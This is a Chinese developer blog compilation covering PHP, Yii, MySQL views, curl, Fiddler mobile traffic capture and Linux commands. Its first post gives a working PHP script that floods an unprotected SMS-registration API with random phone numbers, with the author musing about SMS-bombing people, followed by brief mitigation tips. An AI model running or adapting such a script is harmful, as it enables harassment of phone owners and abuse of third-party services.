[API]注册短信接口的安全问题

目前很多小网站的短信发送接口还比较low,既没有图形验证码,短信验证又比较短,很轻易就被脚本攻击,多次访问接口发送短信,然后暴力破解验证码。之前的抽奖接口就被匿名人士访问了上亿次。这里很简单就可以做一个暴力接口短信访问脚本:

<?php 
$url = "http://XXXXXXXXXXXXXXXXXXXX";//有短信请求的API
for($i = 0; $i < 4; $i ++) {
    $mobile = "1371". mt_rand(0000000, 9999999);
    $post = array("mobile" => $mobile);
    $res = query($url, array(), $post);
    $res = json_decode($res, true);   
    $msg  =  iconv('UTF-8', 'GB2312', $res["message"]);
    echo $mobile;
    echo "\n\t";
    echo $msg;
}

function query($url, $get=array(), $post = array()) {

    $urlPrefix = $url;
    
    $query = http_build_query($get);
    $url = $urlPrefix.(strpos($urlPrefix, "?") ? "&" : "?") . $query;

    $opt = array(
            CURLOPT_RETURNTRANSFER  => TRUE,         
            CURLOPT_HEADER          => FALSE,        
            CURLOPT_FOLLOWLOCATION  => FALSE,        
            CURLOPT_ENCODING        => "",           
     
            CURLOPT_AUTOREFERER     => TRUE,        
            CURLOPT_CONNECTTIMEOUT  => 1,  
            CURLOPT_TIMEOUT         => 5,         
            CURLOPT_SSL_VERIFYHOST  => 0,        
            CURLOPT_SSL_VERIFYPEER  => FALSE,     
            CURLOPT_VERBOSE         => FALSE,       
    );
    
    $ch = curl_init();
    curl_setopt_array($ch, $opt);
    
    curl_setopt($ch, CURLOPT_URL, $url);
    if($post) {
        $post = http_build_query($post);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    $raw   = curl_exec($ch);
    $errno = curl_errno($ch);

    if ($errno == CURLE_COULDNT_CONNECT) {
        echo "connect wrong {$url}";
        die();
    }

    return $raw;
}

本人随便测试了个彩票网站接口,竟然可以连续发短信,我想可以利用这个对某些人进行短信轰炸了!
一般注册网页均采用https的安全连接,发短信前有图形验证码,同一号码不能请求多次等情况,很多方式可以避免,在设计注册和登录上要特别注意。

[转]yii smarty 的另一种render

smarty库放在extentsion目录下
按照约定我们同在protected下的extensions(Yii的扩展默认都扔到这里)中建立CSmarty类文件。

内容如下:
file:webapp/protected/extensions/CSmarty.php
_smarty = new Smarty();
$this->_smarty->template_dir = SMARTY_VIEW_DIR.DS.’tpl’;
$this->_smarty->compile_dir = SMARTY_VIEW_DIR.DS.’tpl_c’;
$this->_smarty->caching = false;
$this->_smarty->cache_dir = SMARTY_VIEW_DIR.DS.’cache’;
$this->_smarty->config_dir = SMARTY_VIEW_DIR.DS.’config’;
$this->_smarty->cache_lifetime = 3600;
}
}

?>

然后建立相关联的文件夹。

最后是我们的配置部分
打开protected/config/main.php

在components数组中加入
‘smarty’=>array(
‘class’=>’application.extensions.CSmarty’,
),

方案1:
action:
$smarty = Yii::app()->smarty;
$smarty->_smarty->display(‘test.tpl’);
方案2:
在\protected\components\Controller.php里加一个成员函数

function myRender (page, data=array(), engine=”)
{
if(‘smarty’=strtolower(engine){
$smarty = Yii::app()->smarty;
foreach($data as $key => $value){
$smarty->_smarty->assign( key , $value);
}
$smarty->_smarty->display( page );
}else{
$this->render(page, data);
}
}
action:
$this->myRender(‘test.tpl’);
这样使用方法,驱动可以任意切换。

[转]用Fiddler抓取Android、Iphone网络数据包

原文地址:http://blog.csdn.net/fyifei0558/article/details/30283937
主要介绍Android及IPhone手机上如何进行网络数据抓包,比如我们想抓某个应用(微博、微信、墨迹天气)的网络通信请求就可以利用这个方法。

相对于tcpdump配合wireshark抓包的优势在于:(1)无需root (2)对Android和Iphone同样适用 (3)操作更简单方便(第一次安装配置,第二次只需设置代理即可) (4)数据包的查看更清晰易懂,Fiddler的UI更简单明了 (5) 可以查看https请求。如果你坚持使用tcpdump也可见:利用tcpdump和wireshark抓取网络数据包。

PS:需要1台PC做辅助,且PC需要与手机在同一局域网内或有独立公网ip
1、PC端安装Fiddler
下载地址:Fiddler.exe,下面是Fiddler的简单介绍:
Fiddler是强大且好用的Web调试工具之一,它能记录客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据,Fiddler包含了一个强大的基于事件脚本的子系统,并且能使用.net语言进行扩展,在web开发和调优中经常配合firebug使用。
Fiddler的运行机制其实就是本机上监听8888端口的HTTP代理。 对于PC端Fiddler启动的时候默认IE的代理设为了127.0.0.1:8888,而其他浏览器是需要手动设置的,所以如果需要监听PC端Chrome网络请求,将其代理改为127.0.0.1:8888就可以监听数据了,手机端按照下面的设置即可完成整个系统的http代理。

2、 配置PC端Fiddler和手机
(1) 配置Fiddler允许监听https
打开Fiddler菜单项Tools->Fiddler Options,选中decrypt https traffic和ignore server certificate errors两项,如下图:
fiddler https options
第一次会提示是否信任fiddler证书及安全提醒,选择yes,之后也可以在系统的证书管理中进行管理。

(2) 配置Fiddler允许远程连接
如上图的菜单中点击connections,选中allow remote computers to connect,默认监听端口为8888,若被占用也可以设置,配置好后需要重启Fiddler,如下图:
fiddler remote connect

(3) 配置手机端
Pc端命令行ipconfig查看Fiddler所在机器ip,本机ip为10.0.4.37,如下图
ipconfig
手机端浏览器访问http://10.0.4.37:8888,即Fiddler所在机器ip加上端口,代理上网。显示如下图页面:
fiddler certifacate
点击FiddlerRoot certificate下载证书并重命名

如何未设置锁屏密码,可能会提示”您需要先设置锁屏密码才能使用凭据存储”,点击确定进行设置。
之后打开手机连接到同一局域网的wifi,并修改该wifi网络详情->显示高级选项,选择手动代理设置,主机名填写Fiddler所在机器ip,端口填写Fiddler端口,默认8888,如下图:
android network proxy

这时,手机上的网络访问在Fiddler就可以查看了,如下图微博和微信的网络请求:
微信抓数据包
可以双击上图某一行网络请求,右侧会显示具体请求内容(Request Header)和返回内容(Response Header and Content),如下图:
微博网络拦截
可以发现Fiddler可以以各种格式查看网络请求返回的数据,包括Header, TextView(文字), ImageView(图片), HexView(十六进制),WebView(网页形式), Auth(Proxy-Authenticate Header), Caching(Header cache), Cookies, Raw(原数据格式), JSON(json格式), XML(xml格式)很是方便。

停止网络监控的话去掉wifi的代理设置即可,否则Fiddler退出后手机就上不网了哦。

如果需要恢复手机无密码状态,Android端之后可以通过系统设置-安全-受信任的凭据-用户,点击证书进行删除或清除凭据删除所有用户证书,再设置密码为无。

如果只需要监控一个软件,可结合系统流量监控,关闭其他应用网络访问的权限。

[笔记]常用命令

总是有命令记不住,这里保存下
一 vim中替换
表示查找并替换
%s/a/b/g
a 被查找的字符串(正则匹配);b 要替换成的文字;g 表示全局搜索替换(否则只处理找到的第一个结果)

二 shell
cat /etc/passwd |awk -F ‘:’ ‘{print $1}’
以 :分割并打印每行第一个字符

[转]mysql视图

视图

今天用到了数据库的视图功能,其实视图就是一张虚拟表,为你提供了一些联表操作,但是性能上并不好。有时候是做到了数据的一致性,对外提供统一的表。
一、什么是视图

¨ 视图是查看数据库表中数据的一种方法;

¨ 视图提供了存储预定义的查询语句作为数据库中的对象以备以后使用的能力;

¨ 视图只是一种逻辑对象,并不是物理对象,因为视图不占物理存储空间;

¨ 在视图中被查询的表称为视图的基表;

¨ 视图的内容包括:基表的列的子集或者行的子集;两个或者多个基表的联合;两个或者多个基表的连接;基表的统计汇总;另外一个视图的子集;视图和基表的混合。

二、视图的优点

1.集中用户使用的数据;

2.掩码数据库的复杂性,视图把数据库设计的复杂性与用户屏蔽分开;

3.简化用户权限的管理;

4.为向其他应用程序输出而重新组织数据。

第二节 创建视图

1、用企业管理器创建通讯录

2、用企业管理器创建一个成绩单视图

语法

: CREATE VIEW <视图名> [(列名1,列名2,……)]

[WITH ENCRYPTION]

AS

SELECT_STATEMENT

[WITH CHECK OPTION]

功能:创建视图

例1:创建一个成绩单视图

CREATE VIEW dbo.vw_cjd(name, cid, result)

AS

SELECT name, report.cid, report.result FROM student JOIN report

ON student.sid=report.sid

例2:显示成绩单视图

Select * from vw_cjd

例3:创建一个按专业统计平均年龄的视图

CREATE VIEW dbo.vw_avg(speciality, avage)

AS

SELECT speciality, avg(age) FROM student

GROUP BY speciality

例4:显示平均年龄视图

Select * from vw_avg

第三节 修改视图与删除视图

1. 修改视图

语法:ALTER VIEW <视图名> [(列名1,列名2,……)] [WITH ENCRYPTION]

AS

SELECT statement [WITH CHECK OPTION]

例:修改视图vw_cjd

ALTER VIEW vw_cjd

AS

Select name, report.cid, report.result, address From student join report

ON student.sid=report.sid

查看Select * from vw_cjd

2. 删除视图

语法:DROP VIEW <视图名>

例:删除视图vw_cjd

DROP VIEW vw_cjd

第四节 视图定义信息

一、视图定义信息

1.在企业管理体制器中查看

2.查询视图Information_schema.views

3.查询系统表syscomments

4.使用命令 sp_helptext 对象名

二、隐藏视图定义

with encryption

第五节 通过视图修改数据

¨ 只能影响一个基表;

¨ 如果指定WITH CHECK OPTION选项,那么要验证所修改的数据。

[php]curl_init()和curl_multi_init()多线程的速度比较

php中curl_init()的作用很大,尤其是在抓取网页内容或文件信息的时候.

curl_init()处理事物是单线程模式,如果需要对事务处理走多线程模式,那么php里提供了一个函数curl_multi_init()给我们,这就是多线程模式处理事务的函数。

curl_init()与curl_multi_init()的速度比较

curl_multi_init()多线程能提高网页的处理速度吗?今天我通过实验来验证一下这个问题。

今天我的测试很简单,那就是要抓取某接口网页的内容,要连续抓5次,分别用curl_init()和curl_multi_init()函数来完成,记录两者的耗时,比较得出结论。

首先,用curl_init()单线程连续抓5次www.webkaka.com网页的内容。

程序代码如下:

        $time = microtime(true);
        for($i=1; $i&lt;=5; $i++){
            $szUrl = 'http://172.30.16.212:8095/draw/';
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $szUrl);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_ENCODING, '');
            $data=curl_exec($curl);
            echo &quot;done:{$i}&quot;;
            echo &quot;&lt;br&gt;&quot;;
            $ntime = microtime(true);
            echo $ntime - $time;
            echo &quot;&lt;br&gt;&quot;;
        
        }

然后,用curl_multi_init()多线程连续抓5次api网页的内容。

代码如下:

 $time = microtime(true);
        $urls = array(
                'http://172.30.16.212:8095/draw/',
                'http://172.30.16.212:8095/draw/',
                'http://172.30.16.212:8095/draw/',
                'http://172.30.16.212:8095/draw/',
                'http://172.30.16.212:8095/draw/',
                );
        
        $data = $this-&gt;_async_get_url($urls);
        $ntime = microtime(true);
        echo $ntime - $time;
protected function _async_get_url($url_array, $wait_usec = 0) {
 
        
        $wait_usec = intval($wait_usec);
        $data    = array();
        $handle  = array();
        $running = 0;
        $mh = curl_multi_init(); // multi curl handler
        $i = 0;
        foreach($url_array as $url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // return don't print
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect
            curl_setopt($ch, CURLOPT_MAXREDIRS, 7);
            curl_multi_add_handle($mh, $ch); // 把 curl resource 放进 multi curl handler 里
            $handle[$i++] = $ch;
        }
        /* 执行 */
        do {
            curl_multi_exec($mh, $running);
            if ($wait_usec &gt; 0) /* 每个 connect 要间隔多久 */
                usleep($wait_usec); // 250000 = 0.25 sec
        } while ($running &gt; 0);
        /* 读取资料 */
        foreach($handle as $i =&gt; $ch) {
            $content  = curl_multi_getcontent($ch);
            $data[$i] = (curl_errno($ch) == 0) ? $content : false;
        }
        /* 移除 handle*/
        foreach($handle as $ch) {
            curl_multi_remove_handle($mh, $ch);
        }
        curl_multi_close($mh);
        return $data;            
    }

curl_init():

done:1
0.036259174346924
done:2
0.071941137313843
done:3
0.11369609832764
done:4
0.13930606842041
done:5
0.17635917663574
都是总结间

curl_multi_init():

0.05805516242981

关于curl_multi_init()

一般来说,想到要用curl_multi_init()时,目的是要同时请求多个url,而不是一个一个依次请求,否则就要curl_init()了。

不过,在使用curl_multi的时候,你可能遇到cpu消耗过高、网页假死等现象,可以看看如何解决curl_multi导致网页假死的问题

使用curl_multi的步骤总结如下:

第一步:调用curl_multi_init
第二步:循环调用curl_multi_add_handle
这一步需要注意的是,curl_multi_add_handle的第二个参数是由curl_init而来的子handle。
第三步:持续调用curl_multi_exec
第四步:根据需要循环调用curl_multi_getcontent获取结果
第五步:调用curl_multi_remove_handle,并为每个字handle调用curl_close
第六步:调用curl_multi_close

各函数作用解释:

curl_multi_init()
初始化一个curl批处理句柄资源。

curl_multi_add_handle()
向curl批处理会话中添加单独的curl句柄资源。curl_multi_add_handle()函数有两个参数,第一个参数表示一个curl批处理句柄资源,第二个参数表示一个单独的curl句柄资源。

curl_multi_exec()
解析一个curl批处理句柄,curl_multi_exec()函数有两个参数,第一个参数表示一个批处理句柄资源,第二个参数是一个引用值的参数,表示剩余需要处理的单个的curl句柄资源数量。

curl_multi_remove_handle()
移除curl批处理句柄资源中的某个句柄资源,curl_multi_remove_handle()函数有两个参数,第一个参数表示一个curl批处理句柄资源,第二个参数表示一个单独的curl句柄资源。

curl_multi_close()
关闭一个批处理句柄资源。

curl_multi_getcontent()
在设置了CURLOPT_RETURNTRANSFER的情况下,返回获取的输出的文本流。

curl_multi_info_read()
获取当前解析的curl的相关传输信息。

实例
请看本文里async_get_url()的写法。

[php]小知识php数组key类型

PHP array和别的语言不一样。

PHP数组的key可以为int,也可以为string,引申出下面的问题。

$a = array(
    1 =&gt; 'as',
    2 =&gt; '22',
);
var_dump($a[0]);
var_dump($a[2]);
var_dump($a['2']);
exit;

结果:$a[0]未定义,$a[2] 与 $a[‘2’]相同。

$a = array(
    '1' =&gt; 'as',
    '2' =&gt; '22',
);
var_dump($a[0]);
var_dump($a[2]);
var_dump($a['2']);

结果:$a[0]未定义,$a[2] 与 $a[‘2’]相同。

问题:string作为key,然后输出是string还是int。

$a = array(
    '1' =&gt; 'as',
    '2' =&gt; '22',
);
foreach($a as $k=&gt;$v) {
    if($k === 1) {
        echo 'int';
    }
}

结果:输出int。

问题:现在可以得出结论说php array会自动把数字字符串的key转成int?请看下面的例子。

参考:http://www.cnblogs.com/sink_cup/archive/2010/12/12/php_intval_mysql_int.html

$a = array(
    'asdf' =&gt; 'a',
    '2' =&gt; '22',
    '2147483647' =&gt; '32 max',
    '2147483648' =&gt; '32 max + 1',
    '9223372036854775807' =&gt; '64 max',
    '9223372036854775808' =&gt; '64 max + 1',
    9223372036854775809 =&gt; '64 max + 2',
);
foreach($a as $k=&gt;$v) {
        var_dump($k);
        echo ' ';
        var_dump($v);
}

结论:php的int取值范围与系统有关,在int的有效范围内,php array会把数字字符串的key转成int;当key超过int范围时,不再转换。
如果是字符串刚好可以转为ini型,作为key时可能会到意想不到的坑。

[转]Yii权限控制

基于角色的访问控制(Role-Based Access Control)

基于角色的访问控制提供了一种简单而又强大的集中访问控制。请参阅维基文章了解更多详细的RBAC与其他较传统的访问控制模式的比较。

Yii 通过其 authManager 组件实现了分等级的 RBAC 结构。在下文中,我们将首先介绍在此结构中用到的主要概念。然后讲解怎样定义用于授权的数据。在最后,我们看看如何利用这些授权数据执行访问检查。

概览(Overview)

在 Yii 的 RBAC 中,一个基本的概念是 授权项目(authorization item)。一个授权项目就是一个做某件事的许可(例如新帖发布,用户管理)。根据其粒度和目标受众,授权项目可分为 操作(operations),任务(tasks) 和 角色(roles)。一个角色由若干任务组成,一个任务由若干操作组成, 而一个操作就是一个许可,不可再分。例如,我们有一个系统,它有一个 管理员 角色,它由 帖子管理 和 用户管理 任务组成。 用户管理 任务可以包含 创建用户,修改用户 和 删除用户 操作组成。为保持灵活性,Yii 还允许一个角色包含其他角色或操作,一个任务可以包含其他操作,一个操作可以包括其他操作。

授权项目是通过它的名字唯一识别的。

一个授权项目可能与一个 业务规则 关联。业务规则是一段 PHP 代码,在进行涉及授权项目的访问检查时将会被执行。仅在执行返回 true 时,用户才会被视为拥有此授权项目所代表的权限许可。例如,当定义一个 updatePost(更新帖子) 操作时,我们可以添加一个检查当前用户 ID 是否与此帖子的作者 ID 相同的业务规则,这样,只有作者自己才有更新帖子的权限。

通过授权项目,我们可以构建一个 授权等级体系 。在等级体系中,如果项目 A 由另外的项目 B 组成(或者说 A 继承了 B 所代表的权限),则 A 就是 B 的父项目。一个授权项目可以有多个子项目,也可以有多个父项目。因此,授权等级体系是一个偏序图(partial-order graph)结构而不是一种树状结构。在这种等级体系中,角色项目位于最顶层,操作项目位于最底层,而任务项目位于两者之间。

一旦有了授权等级体系,我们就可以将此体系中的角色分配给用户。而一个用户一旦被赋予一个角色,他就会拥有此角色所代表的权限。例如,如果我们赋予一个用户 管理员 的角色,他就会拥有管理员的权限,包括 帖子管理 和 用户管理 (以及相应的操作,例如 创建用户)。

现在有趣的部分开始了,在一个控制器动作中,我们想检查当前用户是否可以删除指定的帖子。利用 RBAC 等级体系和分配,可以很容易做到这一点。如下:

view plaincopy
if(Yii::app()->user->checkAccess(‘deletePost’))
{
// 删除此帖
}

配置授权管理器(Authorization Manager)

在我们准备定义一个授权等级体系并执行访问权限检查之前,我们需要配置一下 authManager 应用组件。 Yii 提供了两种授权管理器: CPhpAuthManager 和 CDbAuthManager。前者将授权数据存储在一个 PHP 脚本文件中而后者存储在数据库中。配置 authManager 应用组件时,我们需要指定使用哪个授权管理器组件类,以及所选授权管理器组件的初始化属性值。例如:

view plaincopy
return array(
‘components’=>array(
‘db’=>array(
‘class’=>’CDbConnection’,
‘connectionString’=>’sqlite:path/to/file.db’,
),
‘authManager’=>array(
‘class’=>’CDbAuthManager’,
‘connectionID’=>’db’,
),
),
);

然后,我们便可以使用 Yii::app()->authManager 访问 authManager 应用组件。

定义授权等级体系

定义授权等级体总共分三步:定义授权项目,建立授权项目之间的关系,还要分配角色给用户。 authManager 应用组件提供了用于完成这三项任务的一系列 API 。

要定义一个授权项目,可调用下列方法之一,具体取决于项目的类型:

CAuthManager::createRole
CAuthManager::createTask
CAuthManager::createOperation
建立授权项目之后,我们就可以调用下列方法建立授权项目之间的关系:

CAuthManager::addItemChild
CAuthManager::removeItemChild
CAuthItem::addChild
CAuthItem::removeChild
最后,我们调用下列方法将角色分配给用户。

CAuthManager::assign
CAuthManager::revoke
下面的代码演示了使用 Yii 提供的 API 构建一个授权体系的例子:

view plaincopy
$auth=Yii::app()->authManager;

$auth->createOperation(‘createPost’,’create a post’);
$auth->createOperation(‘readPost’,’read a post’);
$auth->createOperation(‘updatePost’,’update a post’);
$auth->createOperation(‘deletePost’,’delete a post’);

$bizRule=’return Yii::app()->user->id==$params[“post”]->authID;’;
$task=$auth->createTask(‘updateOwnPost’,’update a post by author himself’,$bizRule);
$task->addChild(‘updatePost’);

$role=$auth->createRole(‘reader’);
$role->addChild(‘readPost’);

$role=$auth->createRole(‘author’);
$role->addChild(‘reader’);
$role->addChild(‘createPost’);
$role->addChild(‘updateOwnPost’);

$role=$auth->createRole(‘editor’);
$role->addChild(‘reader’);
$role->addChild(‘updatePost’);

$role=$auth->createRole(‘admin’);
$role->addChild(‘editor’);
$role->addChild(‘author’);
$role->addChild(‘deletePost’);

$auth->assign(‘reader’,’readerA’);
$auth->assign(‘author’,’authorB’);
$auth->assign(‘editor’,’editorC’);
$auth->assign(‘admin’,’adminD’);

建立此授权等级体系后,authManager 组件(例如 CPhpAuthManager, CDbAuthManager)就会自动加载授权项目。因此,我们只需要运行上述代码一次,并不需要在每个请求中都要运行。

信息: 上面的示例看起来比较冗长拖沓,它主要用于演示的目的。 开发者通常需要开发一些用于管理的用户界面,这样最终用户可以通过界面更直观地建立一个授权等级体系。

使用业务规则

在定义授权等级体系时,我们可以将 业务规则 关联到一个角色,一个任务,或者一个操作。我们也可以在为一个用户分配角色时关联一个业务规则。一个业务规则就是一段 PHP 代码,在我们执行权限检查时被执行。代码返回的值用来决定是否将角色或分配应用到当前用户。在上面的例子中,我们把一条业务规则关联到了 updateOwnPost 任务。在业务规则中,我们简单的检查了当前用户的 ID 是否与指定帖子的作者 ID 相同。 $params 数组中的帖子(post)信息由开发者在执行权限检查时提供。

权限检查

要执行权限检查,我们首先需要知道授权项目的名字。例如,要检查当前用户是否可以创建帖子,我们需要检查他是否拥有 createPost 所表示的权限。然后我们调用 CWebUser::checkAccess 执行权限检查:

view plaincopy
if(Yii::app()->user->checkAccess(‘createPost’))
{
// 创建帖子
}

如果授权规则关联了一条需要额外参数的业务规则,我们也可以传递给它。例如,要检查一个用户是否可以更新帖子,我们可以通过 $params 传递帖子的数据:

view plaincopy
$params=array(‘post’=>$post);
if(Yii::app()->user->checkAccess(‘updateOwnPost’,$params))
{
// 更新帖子
}

使用默认角色

注意: 默认角色功能从 1.0.3 版本起可用。

许多 Web 程序需要一些可以分配给系统中所有或大多数用户的比较特殊的角色。例如,我们可能想要分配一些权限给所有已通过身份验证的用户。如果我们特意指定并存储这些角色分配,就会引起很多维护上的麻烦。我们可以利用 默认角色 解决这个问题。

默认角色就是一个隐式分配给每个用户的角色,这些用户包括通过身份验证的用户和游客。我们不需要显式地将其分配给一个用户。当 CWebUser::checkAccess 被调用时,将会首先检查默认的角色,就像它已经被分配给这个用户一样。

默认角色必须定义在 CAuthManager::defaultRoles 属性中。例如,下面的配置声明了两个角色为默认角色:authenticated 和 guest。

view plaincopy
return array(
‘components’=>array(
‘authManager’=>array(
‘class’=>’CDbAuthManager’,
‘defaultRoles’=>array(‘authenticated’, ‘guest’),
),
),
);

由于默认角色会被分配给每个用户,它通常需要关联一个业务规则以确定角色是否真的要应用到用户。例如,下面的代码定义了两个角色, authenticated 和 guest,很高效地分别应用到了已通过身份验证的用户和游客用户。

view plaincopy
$bizRule=’return !Yii::app()->user->isGuest;’;
$auth->createRole(‘authenticated’, ‘authenticated user’, $bizRule);

$bizRule=’return Yii::app()->user->isGuest;’;
$auth->createRole(‘guest’, ‘guest user’, $bizRule);

linux系统硬件配置查看方法

一:查看cpu

more /proc/cpuinfo | grep “model name”

grep “model name” /proc/cpuinfo

如果觉得需要看的更加舒服

grep “model name” /proc/cpuinfo | cut -f2 -d:

二:查看内存

grep MemTotal /proc/meminfo

grep MemTotal /proc/meminfo | cut -f2 -d:

free -m |grep “Mem” | awk ‘{print $2}’

三:查看cpu是32位还是64位

查看CPU位数(32 or 64)

getconf LONG_BIT

四:查看当前linux的版本

more /etc/redhat-release

cat /etc/redhat-release

五:查看内核版本

uname -r

uname -a

六:查看当前时间

date

上面已经介绍如何同步时间了,

七:查看硬盘和分区

df -h

fdisk -l

也可以查看分区

du -sh

可以看到全部占用的空间

du /etc -sh

可以看到这个目录的大小

du -h –max-depth=1 ./
可以看到当前文件夹一级目录所占的大小

八:查看安装的软件包

查看系统安装的时候装的软件包

cat -n /root/install.log

more /root/install.log | wc -l

查看现在已经安装了那些软件包

rpm -qa

rpm -qa | wc -l

yum list installed | wc -l

不过很奇怪,我通过rpm,和yum这两种方式查询的安装软件包,数量并不一样。没有找到原因。

九:查看键盘布局

cat /etc/sysconfig/keyboard

cat /etc/sysconfig/keyboard | grep KEYTABLE | cut -f2 -d=

十:查看selinux情况

sestatus

sestatus | cut -f2 -d:

cat /etc/sysconfig/selinux

十一:查看ip,mac地址

在ifcfg-eth0 文件里你可以看到mac,网关等信息。

ifconfig

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR | cut -f2 -d=

ifconfig eth0 |grep “inet addr:” |awk ‘{print $2}’|cut -c 6-

ifconfig | grep ‘inet addr:’| grep -v ‘127.0.0.1’ | cut -d: -f2 | awk ‘{ print $1}’

查看网关

cat /etc/sysconfig/network

查看dns

cat /etc/resolv.conf

十二:查看默认语言

echo $LANG $LANGUAGE

cat /etc/sysconfig/i18n

十三:查看所属时区和是否使用UTC时间

cat /etc/sysconfig/clock

十四:查看主机名

hostname

cat /etc/sysconfig/network

修改主机名就是修改这个文件,同时最好也把host文件也修改。

查看pci信息 lspci

查看硬盘信息 df -lh

curl –head www.163.com 查看163.com的服务器环境

uptime 查看开机时间多长

ifconfig eth0 up 启用网卡eth0

/etc/initd/network restart 重启网络服务